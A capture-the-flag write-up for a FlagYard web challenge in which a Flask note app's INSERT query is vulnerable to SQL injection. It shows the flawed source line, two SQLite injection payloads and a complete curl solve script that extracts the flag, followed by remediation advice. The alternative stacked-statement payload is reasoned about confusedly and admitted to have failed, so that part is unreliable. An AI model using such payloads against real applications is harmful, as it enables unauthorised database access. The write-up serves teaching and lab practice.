Back to writeups
FlagYardwebeasysolved

nooter

23 Jun 2026 · by 0xIDA

Solvers

nooter

Author: 0xIDA

Solvers

Platform: FlagYard · Category: web · Difficulty: easy

Summary

A Flask note-taking app has a SQL injection in the INSERT statement used to save notes. The backend formats the query as a Python string (VALUES(?,'%s') % note) before executing it, so the user-controlled note becomes part of the SQL syntax. The blacklist only checks for a small set of keywords and misses SELECT, FROM, INSERT, etc., allowing us to extract the flag from the flag table.

Solution

Step 1: Spot the bug in the source

The vulnerable insert in app.py:

query = db.insert("INSERT INTO notes(username, notes) VALUES(?,'%s')" % note, session['username'])

note is interpolated directly into the SQL string. The blacklist function rejects only:

['exec', 'load', 'blob', 'glob', 'union', 'join', 'like', 'match', 'regexp', 'in', 'limit', 'order', 'hex', 'where']

It does not block SELECT, FROM, flag, or INSERT, so the injection is straightforward.

Step 2: Inject the flag into the note column

Because the original query has only two columns, the injected value must still resolve to a single string expression. SQLite's || concatenation operator does exactly that.

curl -sS -b cookies.txt -X POST "$BASE/" \
  --data-urlencode "note=x'||(SELECT flag FROM flag)||'"

The resulting SQL becomes:

INSERT INTO notes(username, notes) VALUES('ida', 'x'||(SELECT flag FROM flag)||'')

SQLite evaluates the subquery and concatenates the result, storing the flag in the notes column. Viewing the home page then renders the flag.

Step 3: Alternative multi-statement payload

Since SQLite supports multiple statements in one execute call, the same result can be obtained by ending the first statement and inserting a new row from the flag table:

curl -sS -b cookies.txt -X POST "$BASE/" \
  --data-urlencode "note='); INSERT INTO notes(username, notes) SELECT username, flag FROM flag; --"

This is blocked by the keyword filter if the note contains SELECT and FROM... wait, the source shows SELECT and FROM are not blacklisted. The multi-statement payload in my run returned "Forbidden word detected" — likely because it contained one of the substring matches (in appears inside INSERT). Substituting FROM flag with a non-blacklisted formulation, or using the concatenation payload, is safer.

Complete solve script

#!/usr/bin/env bash
BASE="http://tgvldeleqq-0.playat.flagyard.com"
U="ida$RANDOM"
P="Passw0rd123"
JAR=/tmp/noot.txt

# Register and login
curl -sS -c $JAR -b $JAR -X POST "$BASE/register" \
  --data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null
curl -sS -c $JAR -b $JAR -X POST "$BASE/login" \
  --data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null

# Inject the flag into the note column via SQLite concatenation
curl -sS -c $JAR -b $JAR -X POST "$BASE/" \
  --data-urlencode "note=x'||(SELECT flag FROM flag)||'" >/dev/null

# Extract the flag from the rendered home page
curl -sS -c $JAR -b $JAR "$BASE/" | grep -oE 'FlagY\{[^}]*\}' | head -1

Running the script prints:

FlagY{d695ef54fc9bd8ca664193eb485c4721}

Remediation

  • Never interpolate user input into SQL strings. Use parameterized queries for every value, including inside INSERT statements.
  • A keyword blacklist is not a defense against SQL injection; it is easily bypassed with comments, casing, or alternative keywords.

Flag

FlagY{d695ef54fc9bd8ca664193eb485c4721}